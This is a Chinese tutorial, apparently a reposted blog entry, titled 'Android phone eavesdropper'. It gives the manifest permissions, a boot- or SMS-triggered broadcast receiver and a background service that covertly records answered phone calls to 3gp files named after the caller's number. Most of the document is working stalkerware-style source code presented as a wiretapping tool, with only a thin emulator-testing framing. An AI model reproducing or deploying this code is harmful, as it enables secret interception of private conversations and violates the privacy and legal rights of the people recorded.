android 电话窃听器

来源:互联网 发布:淘宝联盟提现钱到哪里 编辑:程序博客网 时间:2024/04/27 00:12
1. 启动模拟器,部署应用

2. 利用模拟器控制器发送短信启动服务(查看日志输出判断是否成功)

3. 向模拟器拨打电话,并接听,挂断电话后,利用文件管理查看对应的cache目录或者sdcard中生成了3gp文件,并将其复制到pc中播放以验证。

清单设置(一个receiver,一个service,若干权限)
view plainprint?

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>  
      
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>  
      
    <uses-permission android:name=  
      
                         "android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>  
      
    <uses-permission android:name=  
      
                         "android.permission.WRITE_EXTERNAL_STORAGE"/>  
      
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
      
    …  
      
    <application …>  
      
            <receiver android:name="BootBroadcastReceiver">  
      
                <intent-filter>  
      
                    <action android:name=  
      
                               "android.provider.Telephony.SMS_RECEIVED"/>  
      
                </intent-filter>  
      
            </receiver>  
      
            <service android:name="PhoneListenerService" />  


 

电话监听器服务类:PhoneListenerService
view plainprint?

    package cn.class3g.phonelistener;  
      
    ...  
      
    public class PhoneListenerService extends Service {  
      
    public IBinder onBind(Intent arg0) {  
      
     return null;  
      
     }  
      
     public void onCreate() {  
      
     super.onCreate();  
      
     Log.i("TAG", "服务启动了");  
      
     // 对电话的来电状态进行监听  
      
    TelephonyManager telManager = (TelephonyManager) this  
      
     .getSystemService(Context.TELEPHONY_SERVICE);  
      
     // 注册一个监听器对电话状态进行监听  
      
    telManager.listen(new MyPhoneStateListener(),  
      
     PhoneStateListener.LISTEN_CALL_STATE);  
      
     }  
      
     private class MyPhoneStateListener extends PhoneStateListener {  
      
     MediaRecorder recorder;  
      
     File audioFile;  
      
     String phoneNumber;  
      
     public void onCallStateChanged(int state, String incomingNumber) {  
      
     switch (state) {  
      
     case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */  
      
    if (recorder != null) {  
      
     recorder.stop();// 停止刻录  
      
    recorder.reset();// 重设  
      
    recorder.release();// 刻录完成一定要释放资源  
      
    }  
      
    break;  
      
     case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */  
      
    try {  
      
     recorder = new MediaRecorder();  
      
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC); // 设置音频采集原  
      
    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// 内容输出格式  
      
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); // 音频编码方式  
      
    // recorder.setOutputFile("/sdcard/myvoice.amr");  
      
     audioFile = new File(  
      
     Environment.getExternalStorageDirectory(),  
      
     phoneNumber + "_" + System.currentTimeMillis()  
      
     + ".3gp");  
      
     recorder.setOutputFile(audioFile.getAbsolutePath());  
      
     Log.i("TAG", audioFile.getAbsolutePath());  
      
     recorder.prepare(); // 预期准备  
      
    recorder.start();  
      
     } catch (IllegalStateException e) {  
      
     e.printStackTrace();  
      
     } catch (IOException e) {  
      
     e.printStackTrace();  
      
     }  
      
     break;  
      
     case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */  
      
    phoneNumber = incomingNumber;  
      
     break;  
      
     default:  
      
     break;  
      
     }  
      
     super.onCallStateChanged(state, incomingNumber);  
      
     }  
      
     }  
      
    }  


 

利用开机启动广播启动服务(实验环境中为了方便起见可以先改用短消息广播)

开机启动完成广播action

<action android:name="android.intent.action.BOOT_COMPLETED"/>
view plainprint?

    package cn.class3g.phonelistener;  
      
    ...  
      
    public class BootBroadcastReceiver extends BroadcastReceiver {  
      
     public void onReceive(Context context, Intent intent) {  
      
     Log.i("TAG", "广播被接收了");  
      
    Intent serviceIntent = new Intent(context, PhoneListenerService.class);  
      
     context.startService(serviceIntent);  
      
     }  
      
    }

原创粉丝点击